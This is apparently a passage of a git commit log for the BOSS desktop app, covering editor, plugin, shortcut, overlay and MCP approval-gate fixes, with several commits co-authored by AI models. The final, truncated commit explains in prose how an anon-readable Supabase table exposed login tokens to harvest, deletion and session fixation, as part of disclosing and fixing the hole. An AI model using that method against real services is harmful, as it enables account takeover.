native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and name… * fix(repository): a cancelled store call is not a network failure (#531) * fix(repository): a cancelled store call is not a network failure; apply downloadPlugin's rule to every store call * test(repository): pin propagation and the ratePlugin path; fix stale call-site comments Claude review follow-up on #531, on top of aryanbajaj868's fix: - RemotePluginRepositoryCancellationTest: ratePlugin is driven by the held server too (it refuses before a request without an access token; a.b.c is a structurally valid three-part token with no admin claim), and every store call is now asserted to propagate the caller's CancellationException out of the method, not merely to stay out of the log - a swallowed cancellation is also no ERROR line, so the log assertion alone cannot see that half. - onStoreFailure moved into the Helper Functions section; the test server's single dispatch thread is documented. - Three call-site comments (StoreMissingDependencyInstaller, PluginStoreVersionBridge, PluginLoadGateRecovery) restated their rationale: the bundled repository now rethrows a caller's cancellation, but the PluginRepository interface permits either shape, so the flattened handling and the rethrow guards stay. --------- Co-authored-by: Shivang * Restrict completed_authentications to the service-role Edge Function (#536) * Restrict completed_authentications to the service-role Edge Function completed_authentications holds the freshly minted access_token and refresh_token for the cross-device (QR) login handoff. Its anon policies were each guarded only by `session_id IS NOT NULL`, and session_id is NOT NULL on every real row, so all three were `USING (true)` written the long way. Nothing required the caller to know a session id, so the "unguessable UUID acts as a bearer token" model the surrounding comments describe was never enforced. With `GRANT ALL ON TABLE ... TO anon` and an anon key that is public by construction (it ships in the desktop app and this repo is open source), that was reachable by anyone who can reach PostgREST: 1. Token harvest. Selecting the table returns every in-flight login's access and refresh token. Polling faster than the legitimate desktop wins the race to any QR-logging-in user's session, which is account takeover. 2. Denial of service. A single DELETE wipes all in-flight logins. 3. Session fixation. anon INSERT 